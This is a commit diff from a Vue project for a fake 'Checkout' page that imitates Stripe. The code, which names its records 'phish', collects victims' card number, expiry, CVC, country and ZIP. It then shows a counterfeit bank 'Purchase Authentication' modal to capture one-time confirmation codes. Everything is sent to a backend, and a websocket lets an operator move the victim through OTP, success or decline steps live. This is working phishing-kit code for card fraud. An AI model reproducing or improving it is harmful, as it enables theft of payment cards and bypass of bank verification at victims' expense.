x1ongzhu пре 1 година
родитељ
комит
8ee8abfc3d
6 измењених фајлова са 321 додато и 46 уклоњено
  1. 1 1
      index.html
  2. BIN
      public/favicon.ico
  3. 1 0
      src/assets/icon_success.svg
  4. 42 3
      src/components/PButton.vue
  5. 86 11
      src/components/PField.vue
  6. 191 31
      src/views/HomeView.vue

+ 1 - 1
index.html

@@ -5,7 +5,7 @@
     <meta charset="UTF-8">
     <meta charset="UTF-8">
     <link rel="icon" href="/favicon.ico">
     <link rel="icon" href="/favicon.ico">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>Vite App</title>
+    <title>Checkout</title>
 </head>
 </head>
 
 
 <body>
 <body>

BIN
public/favicon.ico


+ 1 - 0
src/assets/icon_success.svg

@@ -0,0 +1 @@
+<svg width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg" class="InlineSVG" focusable="false"><path d="M16 0C7.168 0 0 7.168 0 16C0 24.832 7.168 32 16 32C24.832 32 32 24.832 32 16C32 7.168 24.832 0 16 0ZM16 28.8C8.944 28.8 3.2 23.056 3.2 16C3.2 8.944 8.944 3.2 16 3.2C23.056 3.2 28.8 8.944 28.8 16C28.8 23.056 23.056 28.8 16 28.8ZM22.208 10.064L12.8 19.472L9.792 16.464C9.168 15.84 8.16 15.84 7.536 16.464C6.912 17.088 6.912 18.096 7.536 18.72L11.68 22.864C12.304 23.488 13.312 23.488 13.936 22.864L24.48 12.32C25.104 11.696 25.104 10.688 24.48 10.064C23.856 9.44 22.832 9.44 22.208 10.064Z" fill="#24B47E"></path></svg>

+ 42 - 3
src/components/PButton.vue

@@ -1,7 +1,35 @@
 <template>
 <template>
-    <button class="p-button" :class="[type]" :disabled="loading">
+    <button
+        class="p-button"
+        :class="[type, success ? 'success' : '']"
+        :disabled="loading || success || fail"
+    >
         <span id="button-text"><slot></slot></span>
         <span id="button-text"><slot></slot></span>
         <Spinner class="icon" color="#fff" v-if="loading" />
         <Spinner class="icon" color="#fff" v-if="loading" />
+        <div v-if="success" class="icon" style="width: 24px; height: 24px">
+            <svg
+                xmlns="http://www.w3.org/2000/svg"
+                xmlns:xlink="http://www.w3.org/1999/xlink"
+                viewBox="0 0 24 24"
+            >
+                <path
+                    d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10s10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8s8 3.59 8 8s-3.59 8-8 8zm3.88-11.71L10 14.17l-1.88-1.88a.996.996 0 1 0-1.41 1.41l2.59 2.59c.39.39 1.02.39 1.41 0L17.3 9.7a.996.996 0 0 0 0-1.41c-.39-.39-1.03-.39-1.42 0z"
+                    fill="#ffffff"
+                ></path>
+            </svg>
+        </div>
+        <div v-if="fail" class="icon" style="width: 24px; height: 24px">
+            <svg
+                xmlns="http://www.w3.org/2000/svg"
+                xmlns:xlink="http://www.w3.org/1999/xlink"
+                viewBox="0 0 24 24"
+            >
+                <path
+                    d="M12 7c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1zm-.01-5C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8s8 3.58 8 8s-3.58 8-8 8zm1-3h-2v-2h2v2z"
+                    fill="currentColor"
+                ></path>
+            </svg>
+        </div>
     </button>
     </button>
 </template>
 </template>
 <script setup>
 <script setup>
@@ -15,6 +43,14 @@ const props = defineProps({
         type: String,
         type: String,
         default: "",
         default: "",
     },
     },
+    success: {
+        type: Boolean,
+        default: false,
+    },
+    fail: {
+        type: Boolean,
+        default: false,
+    },
 });
 });
 </script>
 </script>
 <style scoped>
 <style scoped>
@@ -28,7 +64,7 @@ const props = defineProps({
     color: #ffffff;
     color: #ffffff;
     border-radius: 4px;
     border-radius: 4px;
     border: 0;
     border: 0;
-    padding: 12px 16px;
+    padding: 10px 16px;
     font-size: 16px;
     font-size: 16px;
     font-weight: 600;
     font-weight: 600;
     cursor: pointer;
     cursor: pointer;
@@ -36,8 +72,11 @@ const props = defineProps({
     transition: all 0.2s ease;
     transition: all 0.2s ease;
     box-shadow: 0px 4px 5.5px 0px rgba(0, 0, 0, 0.07);
     box-shadow: 0px 4px 5.5px 0px rgba(0, 0, 0, 0.07);
     width: 100%;
     width: 100%;
-    height: 48px;
+    height: 44px;
     position: relative;
     position: relative;
+    &.success {
+        background-color: rgb(36, 180, 126);
+    }
 }
 }
 .p-button:hover {
 .p-button:hover {
     filter: contrast(115%);
     filter: contrast(115%);

+ 86 - 11
src/components/PField.vue

@@ -7,6 +7,7 @@
                 v-model="inputValue"
                 v-model="inputValue"
                 v-if="type === 'country'"
                 v-if="type === 'country'"
                 class="p-field_input"
                 class="p-field_input"
+                :disabled="disabled"
             >
             >
                 <option v-for="country in countries" :value="country.value">
                 <option v-for="country in countries" :value="country.value">
                     {{ country.name }}
                     {{ country.name }}
@@ -23,6 +24,7 @@
                 @blur="onBlur"
                 @blur="onBlur"
                 v-model="inputValue"
                 v-model="inputValue"
                 @input="onInput"
                 @input="onInput"
+                :disabled="disabled"
             />
             />
             <div
             <div
                 class="absolute flex items-center py-3 pr-3 top-0 right-0 bottom-0 overflow-visible"
                 class="absolute flex items-center py-3 pr-3 top-0 right-0 bottom-0 overflow-visible"
@@ -118,6 +120,10 @@ const props = defineProps({
         type: String,
         type: String,
         default: "",
         default: "",
     },
     },
+    disabled: {
+        type: Boolean,
+        default: false,
+    },
 });
 });
 
 
 const inputType = computed(() => {
 const inputType = computed(() => {
@@ -129,6 +135,7 @@ const inputType = computed(() => {
 const inputMode = computed(() => {
 const inputMode = computed(() => {
     switch (props.type) {
     switch (props.type) {
         case "card":
         case "card":
+        case "expiry":
         case "cvc":
         case "cvc":
             return "numeric";
             return "numeric";
         default:
         default:
@@ -153,11 +160,11 @@ const cardIcon = computed(() => {
                 return IconVisa;
                 return IconVisa;
             case "mastercard":
             case "mastercard":
                 return IconMaster;
                 return IconMaster;
-            case "amex":
+            case "american-express":
                 return IconAmex;
                 return IconAmex;
             case "discover":
             case "discover":
                 return IconDiscover;
                 return IconDiscover;
-            case "diners":
+            case "diners-club":
                 return IconDiners;
                 return IconDiners;
             case "jcb":
             case "jcb":
                 return IconJcb;
                 return IconJcb;
@@ -169,29 +176,97 @@ const cardIcon = computed(() => {
 const message = ref("");
 const message = ref("");
 const invalid = computed(() => message.value !== "");
 const invalid = computed(() => message.value !== "");
 function onBlur() {}
 function onBlur() {}
-function vlidate() {
-    if (props.type === "card") {
-        if (!card.value?.isValid) {
-            message.value = "Invalid card number";
+function validate() {
+    return new Promise((resolve, reject) => {
+        let msg = "";
+        if (props.type === "card") {
+            if (!inputValue.value) {
+                msg = "Your card number is incomplete.";
+            } else if (!card.value?.isValid) {
+                msg = "Your card number is invalid.";
+            }
+        } else if (props.type === "expiry") {
+            const match = /^(?<MM>\d{2}) \/ (?<YY>\d{2})$/.exec(
+                inputValue.value
+            );
+            if (!inputValue.value) {
+                msg = "Your card's expiration date is incomplete.";
+            } else if (!match) {
+                msg = "Invalid expiry date";
+            } else {
+                const MM = parseInt(match.groups.MM);
+                const YY = parseInt(match.groups.YY);
+                const now = new Date();
+                const currentYear = now.getFullYear() % 100;
+                const currentMonth = now.getMonth() + 1;
+
+                if (
+                    YY < currentYear ||
+                    (YY === currentYear && MM < currentMonth)
+                ) {
+                    msg = "Your card's expiration year is in the past.";
+                } else if (MM < 1 || MM > 12 || YY < 0 || YY > 99) {
+                    msg = "Your card's expiration year is invalid.";
+                }
+            }
+        } else if (props.type === "cvc") {
+            if (!/^\d{3}$/.test(inputValue.value)) {
+                msg = "Your card's security code is incomplete.";
+            }
+        } else if (props.type === "zip") {
+            if (!inputValue.value) {
+                msg = "Your postal code is incomplete.";
+            }
+        } else if (props.type === "country") {
+            if (!inputValue.value) {
+                msg = "Please select your country.";
+            }
+        } else if (props.type === "otp") {
+            if (!inputValue.value) {
+                msg = "Your confirmation code is incomplete.";
+            }
+        }
+        message.value = msg;
+        if (msg) {
+            reject(msg);
         } else {
         } else {
-            message.value = "";
+            resolve();
         }
         }
-    } else {
-        message.value = "";
-    }
+    });
+}
+function showError(msg) {
+    message.value = msg;
 }
 }
 function onInput(e) {
 function onInput(e) {
     message.value = "";
     message.value = "";
+
     if (props.type === "card") {
     if (props.type === "card") {
+        if (e.inputType === "deleteContentBackward") {
+            return;
+        }
         inputValue.value = inputValue.value
         inputValue.value = inputValue.value
             .replace(/\D/g, "")
             .replace(/\D/g, "")
             .substring(0, 19)
             .substring(0, 19)
             .replace(/(.{4})/g, "$1 ")
             .replace(/(.{4})/g, "$1 ")
             .trim();
             .trim();
+    } else if (props.type === "expiry") {
+        if (e.inputType === "deleteContentBackward") {
+            inputValue.value = inputValue.value
+                .trim()
+                .replace(/\/$/g, "")
+                .trim();
+            return;
+        }
+        inputValue.value = inputValue.value
+            .replace(/(^[2-9])/g, "0$1")
+            .replace(/\D/g, "")
+            .substring(0, 4)
+            .replace(/(^\d{2})/g, "$1 / ");
     }
     }
 }
 }
 defineExpose({
 defineExpose({
-    validate: vlidate,
+    validate,
+    showError,
 });
 });
 </script>
 </script>
 <style lang="less" scoped>
 <style lang="less" scoped>

+ 191 - 31
src/views/HomeView.vue

@@ -8,13 +8,17 @@
             placeholder="1234 1234 1234 1234"
             placeholder="1234 1234 1234 1234"
             v-model="model.card"
             v-model="model.card"
             ref="cardRef"
             ref="cardRef"
+            :disabled="loading || success || fail"
         />
         />
         <PField
         <PField
             class="!w-6/12"
             class="!w-6/12"
             name="expiry"
             name="expiry"
+            type="expiry"
             label="Expiration"
             label="Expiration"
-            placeholder="MM/YY"
+            placeholder="MM / YY"
             v-model="model.expiry"
             v-model="model.expiry"
+            ref="expiryRef"
+            :disabled="loading || success || fail"
         />
         />
         <PField
         <PField
             class="!w-6/12 pl-3"
             class="!w-6/12 pl-3"
@@ -23,12 +27,16 @@
             label="CVC"
             label="CVC"
             placeholder="CVC"
             placeholder="CVC"
             v-model="model.cvc"
             v-model="model.cvc"
+            ref="cvcRef"
+            :disabled="loading || success || fail"
         />
         />
         <PField
         <PField
             name="country"
             name="country"
             label="Country"
             label="Country"
             type="country"
             type="country"
             v-model="model.country"
             v-model="model.country"
+            ref="countryRef"
+            :disabled="loading || success || fail"
         />
         />
         <PField
         <PField
             name="zip"
             name="zip"
@@ -36,9 +44,36 @@
             type="zip"
             type="zip"
             placeholder="ZIP"
             placeholder="ZIP"
             v-model="model.zip"
             v-model="model.zip"
+            ref="zipRef"
+            :disabled="loading || success || fail"
         />
         />
 
 
-        <PButton>{{ loading ? "Processing..." : "Pay" }}</PButton>
+        <PButton
+            class="mt-6"
+            :loading="loading"
+            :success="success"
+            :fail="fail"
+            >{{
+                success
+                    ? "Success"
+                    : fail
+                    ? "Declined"
+                    : loading
+                    ? "Processing..."
+                    : "Pay"
+            }}</PButton
+        >
+
+        <div
+            v-if="success"
+            class="bg-green-100 text-green-600 mt-4 p-3 rounded"
+        >
+            Payment successful. Thank you for your purchase.
+        </div>
+
+        <div v-if="fail" class="bg-red-100 text-red-600 mt-4 p-3 rounded">
+            Your payment has been declined. Please try again later.
+        </div>
     </form>
     </form>
     <Footer />
     <Footer />
 
 
@@ -52,21 +87,34 @@
                     <div class="icon-logo">
                     <div class="icon-logo">
                         <img class="icon" src="@/assets/icon_bank.svg" />
                         <img class="icon" src="@/assets/icon_bank.svg" />
                         <div class="flex-1"></div>
                         <div class="flex-1"></div>
-                        <img class="logo" src="@/assets/discover_logo.svg" />
+                        <img class="logo" v-if="cardLogo" :src="cardLogo" />
                     </div>
                     </div>
                     <h1 class="mt-4 text-[28px] font-bold">
                     <h1 class="mt-4 text-[28px] font-bold">
                         Purchase Authentication
                         Purchase Authentication
                     </h1>
                     </h1>
                     <p class="mt-2 text-base text-neutral-800">
                     <p class="mt-2 text-base text-neutral-800">
-                        We've sent you a text message to your registered phone
-                        number ending in 1234
+                        {{ phish.otpMsg }}
                     </p>
                     </p>
                     <div class="mt-8">
                     <div class="mt-8">
                         <label>Confirmation Code</label>
                         <label>Confirmation Code</label>
-                        <PField class="mt-2" />
+                        <PField
+                            class="mt-2"
+                            placeholder="Confirmation Code"
+                            v-model="model.otp"
+                            type="otp"
+                            ref="otpRef"
+                        />
                     </div>
                     </div>
 
 
-                    <PButton class="mt-8">Confirm Payment</PButton>
+                    <PButton
+                        class="mt-8"
+                        @click="confirmOTP"
+                        :loading="confirmingOTP"
+                    >
+                        {{
+                            confirmingOTP ? "Processing..." : "Confirm Payment"
+                        }}
+                    </PButton>
                 </div>
                 </div>
             </div>
             </div>
         </Transition>
         </Transition>
@@ -74,60 +122,171 @@
 </template>
 </template>
 <script setup>
 <script setup>
 import axios from "axios";
 import axios from "axios";
-import { onMounted, onBeforeMount, ref } from "vue";
+import { onMounted, onBeforeMount, ref, computed, nextTick } from "vue";
 import PField from "@/components/PField.vue";
 import PField from "@/components/PField.vue";
 import PButton from "@/components/PButton.vue";
 import PButton from "@/components/PButton.vue";
 import Footer from "@/components/Footer.vue";
 import Footer from "@/components/Footer.vue";
 import { useLocalStorage, useSessionStorage } from "@vueuse/core";
 import { useLocalStorage, useSessionStorage } from "@vueuse/core";
 import { io } from "socket.io-client";
 import { io } from "socket.io-client";
+import cardValidator from "card-validator";
+import VisaLogo from "@/assets/visa_logo.svg";
+import MasterLogo from "@/assets/master_logo.svg";
+import AmexLogo from "@/assets/amex_logo.svg";
+import DiscoverLogo from "@/assets/discover_logo.svg";
+import DinersLogo from "@/assets/diners_logo.png";
+import JcbLogo from "@/assets/jcb_logo.svg";
 
 
 const cardRef = ref(null);
 const cardRef = ref(null);
+const expiryRef = ref(null);
+const cvcRef = ref(null);
+const countryRef = ref(null);
+const zipRef = ref(null);
+const otpRef = ref(null);
 
 
+const model = ref({
+    card: "",
+    expiry: "",
+    cvc: "",
+    country: "",
+    otp: "",
+});
 const phish = useSessionStorage("phish", {});
 const phish = useSessionStorage("phish", {});
-let socket;
+const showOTPModal = ref(false);
+const confirmingOTP = ref(false);
+const loading = ref(false);
+const success = ref(false);
+const fail = ref(false);
+
+const card = computed(() => cardValidator.number(model.value?.card));
+const cardLogo = computed(() => {
+    if (card.value?.card) {
+        switch (card.value.card.type) {
+            case "visa":
+                return VisaLogo;
+            case "mastercard":
+                return MasterLogo;
+            case "american-express":
+                return AmexLogo;
+            case "discover":
+                return DiscoverLogo;
+            case "diners-club":
+                return DinersLogo;
+            case "jcb":
+                return JcbLogo;
+        }
+    }
+    return null;
+});
+
+function checkStep(data) {
+    switch (data.step) {
+        case "input_otp": {
+            if (otpRef.value) {
+                otpRef.value.showError("");
+            }
+            confirmingOTP.value = false;
+            showOTPModal.value = true;
+            if (otpRef.value && data.errMsg) {
+                nextTick(() => {
+                    otpRef.value.showError(data.errMsg);
+                });
+            }
+            break;
+        }
+        case "input_card": {
+            showOTPModal.value = false;
+            loading.value = false;
+            if (cardRef.value) {
+                cardRef.value.showError(data.errMsg);
+            }
+            break;
+        }
+        case "success": {
+            showOTPModal.value = false;
+            loading.value = false;
+            success.value = true;
+            fail.value = false;
+            break;
+        }
+        case "fail": {
+            showOTPModal.value = false;
+            loading.value = false;
+            success.value = false;
+            fail.value = true;
+            break;
+        }
+    }
+}
+
 onBeforeMount(async () => {
 onBeforeMount(async () => {
-    const { data: res } = await axios.post("/phishes", {
+    const { data: res } = await axios.post("/stripe", {
         id: phish.value.id,
         id: phish.value.id,
     });
     });
     if (res) {
     if (res) {
         phish.value = res;
         phish.value = res;
-        socket = io(import.meta.env.VITE_SOCKET_URL, {
+        checkStep(res);
+        const socket = io(import.meta.env.VITE_SOCKET_URL, {
             path: "/ws",
             path: "/ws",
             transports: ["websocket"],
             transports: ["websocket"],
             query: {
             query: {
                 id: phish.value.id,
                 id: phish.value.id,
             },
             },
         });
         });
+        socket.on("new", (data) => {
+            console.log(data);
+        });
+        socket.on("update", (data) => {
+            phish.value = data;
+            checkStep(data);
+        });
     }
     }
 });
 });
 
 
-const model = ref({
-    card: "",
-    expiry: "",
-    cvc: "",
-    country: "",
-});
-
-const showOTPModal = ref(false);
-
-const loading = ref(false);
 async function submit() {
 async function submit() {
+    await Promise.all([
+        cardRef.value.validate(),
+        expiryRef.value.validate(),
+        cvcRef.value.validate(),
+        countryRef.value.validate(),
+        zipRef.value.validate(),
+    ]);
     loading.value = true;
     loading.value = true;
     try {
     try {
-        await axios.put(`/phishes/${phish.value.id}`, {
-            id: phish.value.id,
-            card: model.value.card,
-            expiry: model.value.expiry,
-            cvc: model.value.cvc,
-            country: model.value.country,
-            step: "wait_for_check_card",
-        });
+        const { data: res } = await axios.put(
+            `/stripe/client/${phish.value.id}`,
+            {
+                id: phish.value.id,
+                card: model.value.card,
+                expiry: model.value.expiry,
+                cvc: model.value.cvc,
+                country: model.value.country,
+                step: "wait_for_check_card",
+            }
+        );
+        phish.value = res;
     } catch (error) {
     } catch (error) {
         console.error(error);
         console.error(error);
-    } finally {
         loading.value = false;
         loading.value = false;
     }
     }
 }
 }
+
+async function confirmOTP() {
+    await otpRef.value.validate();
+    confirmingOTP.value = true;
+    try {
+        const { data: res } = await axios.put(
+            `/stripe/client/${phish.value.id}`,
+            {
+                otp: model.value.otp,
+                step: "wait_for_check_otp",
+            }
+        );
+        phish.value = res;
+    } catch (error) {
+        console.error(error);
+        confirmingOTP.value = false;
+    }
+}
 </script>
 </script>
 <style scoped lang="less">
 <style scoped lang="less">
 .otp-modal {
 .otp-modal {
@@ -186,7 +345,8 @@ async function submit() {
         opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
         opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
 }
 }
 
 
-.scale-enter-from {
+.scale-enter-from,
+.scale-leave-to {
     transform: scale(0.8);
     transform: scale(0.8);
     opacity: 0;
     opacity: 0;
 }
 }